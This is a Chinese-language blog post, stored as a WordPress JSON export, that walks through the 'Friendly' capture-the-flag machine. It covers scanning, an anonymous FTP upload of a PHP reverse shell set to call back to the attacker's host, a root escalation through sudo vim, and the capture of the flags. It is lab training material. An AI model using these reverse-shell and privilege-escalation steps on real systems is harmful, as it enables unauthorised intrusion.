{"id":552,"date":"2024-04-14T16:24:55","date_gmt":"2024-04-14T08:24:55","guid":{"rendered":"http:\/\/162.14.82.114\/?p=552"},"modified":"2024-04-14T16:24:55","modified_gmt":"2024-04-14T08:24:55","slug":"friendly","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/552\/04\/14\/2024\/","title":{"rendered":"Friendly"},"content":{"rendered":"

Friendly<\/h1>\n

\"image-20240414160058193\"<\/div>
\n
\"image-20240414160145145\"<\/div><\/p>\n

\u7aef\u53e3\u626b\u63cf<\/h2>\n

\u4fe1\u606f\u641c\u96c6<\/h3>\n
rustscan -a 172.20.10.7 -- -A<\/code><\/pre>\n
Open 172.20.10.7:21\nOpen 172.20.10.7:80\n\nPORT   STATE SERVICE REASON  VERSION\n21\/tcp open  ftp     syn-ack ProFTPD\n| ftp-anon: Anonymous FTP login allowed (FTP code 230)\n|_-rw-r--r--   1 root     root        10725 Feb 23  2023 index.html\n80\/tcp open  http    syn-ack Apache httpd 2.4.54 ((Debian))\n| http-methods: \n|_  Supported Methods: GET POST OPTIONS HEAD\n|_http-server-header: Apache\/2.4.54 (Debian)\n|_http-title: Apache2 Debian Default Page: It works<\/code><\/pre>\n
\u76ee\u5f55\u626b\u63cf<\/h3>\n
gobuster dir -u http:\/\/172.20.10.7 -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,zip,git,jpg,txt,png<\/code><\/pre>\n
\u6ca1\u53d1\u73b0\u5565\u4e1c\u897f\u3002\u3002<\/p>\n
\u6f0f\u6d1e\u626b\u63cf<\/h3>\n
nikto -h http:\/\/172.20.10.7<\/code><\/pre>\n
- Nikto v2.5.0\n---------------------------------------------------------------------------\n+ Target IP:          172.20.10.7\n+ Target Hostname:    172.20.10.7\n+ Target Port:        80\n+ Start Time:         2024-04-14 04:03:49 (GMT-4)\n---------------------------------------------------------------------------\n+ Server: Apache\/2.4.54 (Debian)\n+ \/: The anti-clickjacking X-Frame-Options header is not present. See: https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/HTTP\/Headers\/X-Frame-Options\n+ \/: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https:\/\/www.netsparker.com\/web-vulnerability-scanner\/vulnerabilities\/missing-content-type-header\/\n+ No CGI Directories found (use '-C all' to force check all possible dirs)\n+ \/: Server may leak inodes via ETags, header found with file \/, inode: 29e5, size: 5f55fa2250a77, mtime: gzip. See: http:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2003-1418\n+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .\n+ 8102 requests: 0 error(s) and 4 item(s) reported on remote host\n+ End Time:           2024-04-14 04:04:06 (GMT-4) (17 seconds)\n---------------------------------------------------------------------------\n+ 1 host(s) tested<\/code><\/pre>\n
\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n
\u8e29\u70b9<\/h3>\n
\"image-20240414160456687\"<\/div><\/p>\n
\u8bbf\u95ee\u654f\u611f\u7aef\u53e3<\/h3>\n
\u4f7f\u7528\u4fe1\u606f\u626b\u63cf\u51fa\u7684\u7ed3\u679c\u533f\u540d\u767b\u5f55\u4e00\u4e0b\uff0cAnonymous FTP<\/code><\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Friendly]\n\u2514\u2500$ ftp 172.20.10.7\nConnected to 172.20.10.7.\n220 ProFTPD Server (friendly) [::ffff:172.20.10.7]\nName (172.20.10.7:kali): anonymous\n331 Anonymous login ok, send your complete email address as your password\nPassword: \n230 Anonymous access granted, restrictions apply\nRemote system type is UNIX.\nUsing binary mode to transfer files.\nftp> pwd\nRemote directory: \/\nftp> ls -la\n229 Entering Extended Passive Mode (|||10902|)\n150 Opening ASCII mode data connection for file list\ndrwxrwxrwx   2 root     root         4096 Mar 11  2023 .\ndrwxrwxrwx   2 root     root         4096 Mar 11  2023 ..\n-rw-r--r--   1 root     root        10725 Feb 23  2023 index.html\n226 Transfer complete\nftp> get index.html\nlocal: index.html remote: index.html\n229 Entering Extended Passive Mode (|||1376|)\n150 Opening BINARY mode data connection for index.html (10725 bytes)\n100% |***********************************************************************************************************| 10725       38.30 MiB\/s    00:00 ETA\n226 Transfer complete\n10725 bytes received in 00:00 (8.22 MiB\/s)\nftp> exit\n221 Goodbye.<\/code><\/pre>\n
\"image-20240414160946969\"<\/div><\/p>\n
\u4e0a\u4f20\u53cd\u5f39shell<\/h3>\n
\u53d1\u73b0\u6b63\u662f\u4e3b\u9875\uff0c\u5c1d\u8bd5\u4e0a\u4f20\u53cd\u5f39shell<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Friendly]\n\u2514\u2500$ head revershell.php \n\n  <?php\n  \/\/ php-reverse-shell - A Reverse Shell implementation in PHP\n  \/\/ Copyright (C) 2007 pentestmonkey@pentestmonkey.net\n\n  set_time_limit (0);\n  $VERSION = "1.0";\n  $ip = '172.20.10.8';  \/\/ You have changed this\n  $port = 1234;  \/\/ And this\n  $chunk_size = 1400;\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Friendly]\n\u2514\u2500$ ftp 172.20.10.7          \nConnected to 172.20.10.7.\n220 ProFTPD Server (friendly) [::ffff:172.20.10.7]\nName (172.20.10.7:kali): anonymous\n331 Anonymous login ok, send your complete email address as your password\nPassword: \n230 Anonymous access granted, restrictions apply\nRemote system type is UNIX.\nUsing binary mode to transfer files.\nftp> put revershell.php \nlocal: revershell.php remote: revershell.php\n229 Entering Extended Passive Mode (|||28867|)\n150 Opening BINARY mode data connection for revershell.php\n100% |***********************************************************************************************************|  3909       26.81 MiB\/s    00:00 ETA\n226 Transfer complete\n3909 bytes sent in 00:00 (4.61 MiB\/s)\nftp> exit\n221 Goodbye.<\/code><\/pre>\n
\u8bbf\u95ee\u4e00\u4e0bhttp:\/\/172.20.10.7\/revershell.php<\/code>\u89e6\u53d1\uff1a<\/p>\n
\"image-20240414161309674\"<\/div><\/p>\n
\u63d0\u6743<\/h2>\n
\u4fe1\u606f\u641c\u96c6<\/h3>\n
(remote) www-data@friendly:\/$ pwd\n\/\n(remote) www-data@friendly:\/$ cd \/var\/www\/html\n(remote) www-data@friendly:\/var\/www\/html$ ls -la\ntotal 24\ndrwxrwxrwx 2 root root     4096 Apr 14 04:11 .\ndrwxr-xr-x 3 root root     4096 Feb 21  2023 ..\n-rw-r--r-- 1 root root    10725 Feb 23  2023 index.html\n-rw-r--r-- 1 ftp  nogroup  3909 Apr 14 04:11 revershell.php\n(remote) www-data@friendly:\/var\/www\/html$ cd ..  \n(remote) www-data@friendly:\/var\/www$ ls -la\ntotal 12\ndrwxr-xr-x  3 root root 4096 Feb 21  2023 .\ndrwxr-xr-x 12 root root 4096 Feb 21  2023 ..\ndrwxrwxrwx  2 root root 4096 Apr 14 04:11 html\n(remote) www-data@friendly:\/var\/www$ cd ..;ls -la\ntotal 48\ndrwxr-xr-x 12 root root  4096 Feb 21  2023 .\ndrwxr-xr-x 18 root root  4096 Mar 11  2023 ..\ndrwxr-xr-x  2 root root  4096 Mar 11  2023 backups\ndrwxr-xr-x 10 root root  4096 Feb 21  2023 cache\ndrwxr-xr-x 26 root root  4096 Feb 21  2023 lib\ndrwxrwsr-x  2 root staff 4096 Sep  3  2022 local\nlrwxrwxrwx  1 root root     9 Feb 21  2023 lock -> \/run\/lock\ndrwxr-xr-x  8 root root  4096 Apr 14 04:00 log\ndrwxrwsr-x  2 root mail  4096 Feb 21  2023 mail\ndrwxr-xr-x  2 root root  4096 Feb 21  2023 opt\nlrwxrwxrwx  1 root root     4 Feb 21  2023 run -> \/run\ndrwxr-xr-x  4 root root  4096 Feb 21  2023 spool\ndrwxrwxrwt  2 root root  4096 Apr 14 04:00 tmp\ndrwxr-xr-x  3 root root  4096 Feb 21  2023 www\n(remote) www-data@friendly:\/var$ mail\nbash: mail: command not found\n(remote) www-data@friendly:\/var$ cd backups\/\n(remote) www-data@friendly:\/var\/backups$ ls -la\ntotal 20\ndrwxr-xr-x  2 root root 4096 Mar 11  2023 .\ndrwxr-xr-x 12 root root 4096 Feb 21  2023 ..\n-rw-r--r--  1 root root 8325 Feb 21  2023 apt.extended_states.0\n(remote) www-data@friendly:\/var\/backups$ cd \/home\n(remote) www-data@friendly:\/home$ ls -la\ntotal 12\ndrwxr-xr-x  3 root    root    4096 Feb 21  2023 .\ndrwxr-xr-x 18 root    root    4096 Mar 11  2023 ..\ndrwxr-xr-x  5 RiJaba1 RiJaba1 4096 Mar 11  2023 RiJaba1\n(remote) www-data@friendly:\/home$ cd RiJaba1\/\n(remote) www-data@friendly:\/home\/RiJaba1$ ls -la\nctotal 24\ndrwxr-xr-x 5 RiJaba1 RiJaba1 4096 Mar 11  2023 .\ndrwxr-xr-x 3 root    root    4096 Feb 21  2023 ..\nlrwxrwxrwx 1 RiJaba1 RiJaba1    9 Feb 23  2023 .bash_history -> \/dev\/null\ndrwxr-xr-x 2 RiJaba1 RiJaba1 4096 Mar 11  2023 CTF\ndrwxr-xr-x 2 RiJaba1 RiJaba1 4096 Mar 11  2023 Private\ndrwxr-xr-x 2 RiJaba1 RiJaba1 4096 Feb 21  2023 YouTube\n-r--r--r-- 1 RiJaba1 RiJaba1   33 Mar 11  2023 user.txt\n(remote) www-data@friendly:\/home\/RiJaba1$ cat user.txt \nb8cff8c9008e1c98a1f2937b4475acd6\n(remote) www-data@friendly:\/home\/RiJaba1$ ls -F\nCTF\/  Private\/  YouTube\/  user.txt\n(remote) www-data@friendly:\/home\/RiJaba1$ cd CTF \n(remote) www-data@friendly:\/home\/RiJaba1\/CTF$ ls -la\ntotal 12\ndrwxr-xr-x 2 RiJaba1 RiJaba1 4096 Mar 11  2023 .\ndrwxr-xr-x 5 RiJaba1 RiJaba1 4096 Mar 11  2023 ..\n-r--r--r-- 1 RiJaba1 RiJaba1   21 Mar 11  2023 ...\n(remote) www-data@friendly:\/home\/RiJaba1\/CTF$ cd ...\nbash: cd: ...: Not a directory\n(remote) www-data@friendly:\/home\/RiJaba1\/CTF$ ls -F\n(remote) www-data@friendly:\/home\/RiJaba1\/CTF$ file ...\n...: ASCII text\n(remote) www-data@friendly:\/home\/RiJaba1\/CTF$ cat ...\nHow did you find me?\n(remote) www-data@friendly:\/home\/RiJaba1\/CTF$ cd ..\n(remote) www-data@friendly:\/home\/RiJaba1$ cd Private\/\n(remote) www-data@friendly:\/home\/RiJaba1\/Private$ ls -la\ntotal 12\ndrwxr-xr-x 2 RiJaba1 RiJaba1 4096 Mar 11  2023 .\ndrwxr-xr-x 5 RiJaba1 RiJaba1 4096 Mar 11  2023 ..\n-r--r--r-- 1 RiJaba1 RiJaba1   45 Mar 11  2023 targets.txt\n(remote) www-data@friendly:\/home\/RiJaba1\/Private$ cat targets.txt \nU2hlbGxEcmVkZAp4ZXJvc2VjCnNNTApib3lyYXMyMDAK\n(remote) www-data@friendly:\/home\/RiJaba1\/Private$ cd ..\/YouTube\/\n(remote) www-data@friendly:\/home\/RiJaba1\/YouTube$ ls -la\ntotal 12\ndrwxr-xr-x 2 RiJaba1 RiJaba1 4096 Feb 21  2023 .\ndrwxr-xr-x 5 RiJaba1 RiJaba1 4096 Mar 11  2023 ..\n-r--r--r-- 1 RiJaba1 RiJaba1   41 Feb 21  2023 ideas.txt\n(remote) www-data@friendly:\/home\/RiJaba1\/YouTube$ cat ideas.txt \nWhat're you reading? Have you hacked me?<\/code><\/pre>\n
\u5c1d\u8bd5\u89e3\u7801\u4e00\u4e0b\u5b57\u7b26\u4e32\uff1a<\/p>\n
\"image-20240414161634052\"<\/div><\/p>\n
\u4ec0\u4e48\u73a9\u610f\uff1a<\/p>\n
\"image-20240414161824794\"<\/div><\/p>\n
\u7ee7\u7eed\u4fe1\u606f\u641c\u96c6\uff1a<\/p>\n
(remote) www-data@friendly:\/home\/RiJaba1\/YouTube$ find \/ -perm -u=s -type f 2>\/dev\/null\n\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/usr\/lib\/openssh\/ssh-keysign\n\/usr\/bin\/umount\n\/usr\/bin\/newgrp\n\/usr\/bin\/chsh\n\/usr\/bin\/mount\n\/usr\/bin\/sudo\n\/usr\/bin\/passwd\n\/usr\/bin\/su\n\/usr\/bin\/chfn\n\/usr\/bin\/gpasswd\n(remote) www-data@friendly:\/home\/RiJaba1\/YouTube$ sudo -l\nMatching Defaults entries for www-data on friendly:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\n\nUser www-data may run the following commands on friendly:\n    (ALL : ALL) NOPASSWD: \/usr\/bin\/vim<\/code><\/pre>\n
\u5c1d\u8bd5\u63d0\u6743\uff1a<\/p>\n
\u6253\u5f00vim<\/code>\u4ee5\u540e\uff0c\u8f93\u5165\u547d\u4ee4!\/bin\/bash<\/code>\u5373\u53ef\u6267\u884c\uff01\uff01<\/p>\n
(remote) www-data@friendly:\/home\/RiJaba1\/YouTube$ sudo \/usr\/bin\/vim\n\nroot@friendly:\/home\/RiJaba1\/YouTube# cd \/root\nroot@friendly:~# ls -la\ntotal 28\ndrwx------  3 root root 4096 Mar 11  2023 .\ndrwxr-xr-x 18 root root 4096 Mar 11  2023 ..\nlrwxrwxrwx  1 root root    9 Feb 23  2023 .bash_history -> \/dev\/null\n-rw-r--r--  1 root root  571 Apr 10  2021 .bashrc\ndrwxr-xr-x  3 root root 4096 Feb 21  2023 .local\n-rw-r--r--  1 root root  161 Jul  9  2019 .profile\n-r-xr-xr-x  1 root root  509 Mar 11  2023 interfaces.sh\n-r--------  1 root root   24 Mar 11  2023 root.txt\nroot@friendly:~# cat interfaces.sh \n#!\/bin\/bash\n\n# By RiJaba1\n\ninterfaces=$(ip link | awk -F: '$0 !~ "lo|vir|^[^0-9]"{print $2}')\n\nnew_interfaces=""\nfor interface in $interfaces; do\n    if ! grep -q "^iface $interface" \/etc\/network\/interfaces; then\n        echo "" >> \/etc\/network\/interfaces\n        echo "auto $interface" >> \/etc\/network\/interfaces\n        echo "iface $interface inet dhcp" >> \/etc\/network\/interfaces\n        new_interfaces="$new_interfaces $interface"\n    fi\ndone\n\nif [ -n "$new_interfaces" ]; then\n    sleep 15\n    reboot\nfi\nroot@friendly:~# cat root.txt \nNot yet! Find root.txt.<\/code><\/pre>\n
\u989d\uff0c\u8fd8\u6ca1\u6709\u53d1\u73b0flag\u3002\u3002\u3002\u3002<\/p>\n
root@friendly:~# ip a\n1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000\n    link\/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00\n    inet 127.0.0.1\/8 scope host lo\n       valid_lft forever preferred_lft forever\n    inet6 ::1\/128 scope host \n       valid_lft forever preferred_lft forever\n2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000\n    link\/ether 08:00:27:a2:9f:c0 brd ff:ff:ff:ff:ff:ff\n    inet 172.20.10.7\/28 brd 172.20.10.15 scope global dynamic enp0s3\n       valid_lft 85094sec preferred_lft 85094sec\n    inet6 fe80::a00:27ff:fea2:9fc0\/64 scope link \n       valid_lft forever preferred_lft forever\nroot@friendly:~# find \/ -name root.txt 2>\/dev\/null\n\/var\/log\/apache2\/root.txt\n\/root\/root.txt\nroot@friendly:~# cat \/var\/log\/apache2\/root.txt\n66b5c58f3e83aff307441714d3e28d2f<\/code><\/pre>\n
\u627e\u5230flag\uff01\uff01\uff01\uff01<\/p>\n","protected":false},"excerpt":{"rendered":"
Friendly \u7aef\u53e3\u626b\u63cf \u4fe1\u606f\u641c\u96c6 rustscan -a 172.20.10.7 — -A Open 1 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24,18],"tags":[],"class_list":["post-552","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/552","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=552"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/552\/revisions"}],"predecessor-version":[{"id":553,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/552\/revisions\/553"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=552"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=552"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=552"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}